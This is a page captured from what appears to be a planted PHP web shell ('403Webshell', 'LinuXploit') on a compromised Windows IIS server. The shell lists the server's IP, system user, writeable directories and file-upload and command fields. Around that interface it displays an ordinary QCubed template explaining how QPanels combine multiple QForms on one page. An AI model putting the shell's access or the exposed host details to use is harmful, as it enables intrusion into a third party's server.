403Webshell
Server IP : 103.118.17.23  /  Your IP : 216.73.216.188
Web Server : Microsoft-IIS/10.0
System : Windows NT RESELLERPLESK22 10.0 build 20348 (Windows Server 2016) AMD64
User : IWAM_plesk(default) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/vhosts/mesa.org.in/httpdocs/assets/_core/php/examples/multiple_qform/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/vhosts/mesa.org.in/httpdocs/assets/_core/php/examples/multiple_qform/intro.tpl.php
<?php require('../includes/header.inc.php'); ?>
<?php $this->RenderBegin(); ?>

<div id="instructions">
	<h1>Handling "Multiple QForms" on the Same Page</h1>

	<p>QCubed only allows each front-end "web page" to only have a maximum of one <strong>QForm</strong> class per page.  Because of
		the many issues of managing and maintaining formstate across multiple <strong>QForms</strong>, QCubed simply does not allow
		for the ability to have multiple <strong>QForms</strong> per page.</p>

	<p>However, as the development of a QCubed application matures, developers may find themselves wishing for this ability:</p>
	<ul>
		<li>As <strong>QForms</strong> are initially developed for simple, single-step tasks (e.g. "Post a Comment", "Edit a Project's Name", etc.),
			developers may want to be able to combine these simpler QForms together onto a single, larger, more cohesive QForm,
			utilizing AJAX to provide for a more "Single-Page Web Application" type of architecture.</li>
		<li>Moreover, developers may end up with a library of these <strong>QForms</strong> that they would want to reuse in multiple locations,
			thus allowing for a much better, more modularized codebase.</li>
	</ul>

	<p>Fortunately, the <strong>QPanel</strong> control was specifically designed to provide this kind of "Multiple <strong>QForm</strong>" functionality.
		In the example below, we create a couple of custom <strong>QPanels</strong> to help with the viewing and editing of a Project and its team members.  The
		comments in each of these custom controls explain how a custom <strong>QPanel</strong> provides similar functionality to an independent, stand-alone
		<strong>QForm</strong>, but also details the small differences in how the certain events need to be coded.</p>

	<p>Next, to illustrate this point further we create a <strong>PersonEditPanel</strong>, which is based on the code generated
		<strong>PersonEditFormBase</strong> class.</p>

	<p>Finally, we use a few <strong>QAjaxActions</strong> and <strong>QAjaxControlActions</strong> to tie them all together into a single-page web application.</p>
</div>

<div id="demoZone">
	<h2>View/Edit Example: Projects and Memberships</h2>

	<p>Please Select a Project: <?php $this->lstProjects->Render(); ?> &nbsp;&nbsp; <?php $this->objDefaultWaitIcon->Render(); ?></p>
	<?php $this->pnlLeft->Render(); ?>
	<?php $this->pnlRight->Render(); ?>
</div>

<?php $this->RenderEnd(); ?>
<?php require('../includes/footer.inc.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit